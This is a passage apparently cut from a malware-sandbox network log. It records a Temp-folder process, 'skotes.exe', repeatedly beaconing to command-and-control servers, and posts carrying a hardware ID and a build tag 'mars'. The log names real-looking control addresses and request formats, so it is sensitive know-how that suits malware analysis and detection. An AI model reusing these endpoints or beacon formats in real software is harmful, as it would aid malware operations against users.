Nov 24, 2024 14:25:42.700797081 CET	1236	IN	Data Raw: 88 e7 61 a5 c3 87 bb 4c 8f 47 5b 5e 76 67 8c 3f 6a 16 ca 18 79 63 86 23 84 50 4e ab 97 27 50 1b 4f 4e 9e 30 a5 2b 23 80 62 34 42 54 80 a0 ef 7e 85 7d 8b 9a 9b 3a a9 73 60 1b af 74 d2 b8 e3 55 63 aa 2a dd a3 14 25 24 c3 eb 41 9d 8a 3f cf 26 9d 2b Data Ascii: aLG[^vg?jyc#PN'PON0+#b4BT~}:s`tUc%$A?&+~Z-!XSVQ`(o@oGq 2 Qp~';<+'xhfs3.M=C)^pJYWGxP<W`$g>ifQgOy"c{ObJv<rT'<uem{lL

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	50073	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:41.931405067 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 14:25:43.271100998 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 14:25:43.275957108 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 38 32 45 37 39 42 32 46 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="hwid"2682E79B2F583419705248------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="build"mars------FCFBGIDAEHCFIDGCBGII--
Nov 24, 2024 14:25:43.715501070 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50074	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:42.074245930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:25:43.495621920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50088	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:45.130888939 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:25:46.531327009 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50106	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:48.394994020 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:25:49.800839901 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	50112	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:49.566191912 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 14:25:50.992185116 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 14:25:50.995361090 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGCBAECFCAKKEBFCFII Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 42 41 45 43 46 43 41 4b 4b 45 42 46 43 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 38 32 45 37 39 42 32 46 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 42 41 45 43 46 43 41 4b 4b 45 42 46 43 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 42 41 45 43 46 43 41 4b 4b 45 42 46 43 46 49 49 2d 2d 0d 0a Data Ascii: ------GCGCBAECFCAKKEBFCFIIContent-Disposition: form-data; name="hwid"2682E79B2F583419705248------GCGCBAECFCAKKEBFCFIIContent-Disposition: form-data; name="build"mars------GCGCBAECFCAKKEBFCFII--
Nov 24, 2024 14:25:51.457570076 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50127	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:51.506675959 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:25:52.897705078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50144	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:54.669415951 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:25:55.979933977 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50162	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:57.612394094 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:25:58.997100115 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50181	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:00.797947884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:26:02.177697897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50194	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:03.809166908 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:26:05.145015001 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50196	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:06.901549101 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:26:08.278781891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50197	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:09.922858953 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:26:11.365195990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50201	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:13.130176067 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:26:14.552453041 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50203	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:16.202413082 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:26:17.629741907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50204	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:19.371732950 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:26:20.795118093 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50206	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:22.430867910 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:26:22.808383942 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:26:24.321928978 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50207	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:26.073860884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:26:27.532466888 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50208	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:29.176594019 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:26:30.520975113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50209	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:32.293975115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:26:33.726572037 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50210	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:35.372257948 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:26:36.763499022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50212	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
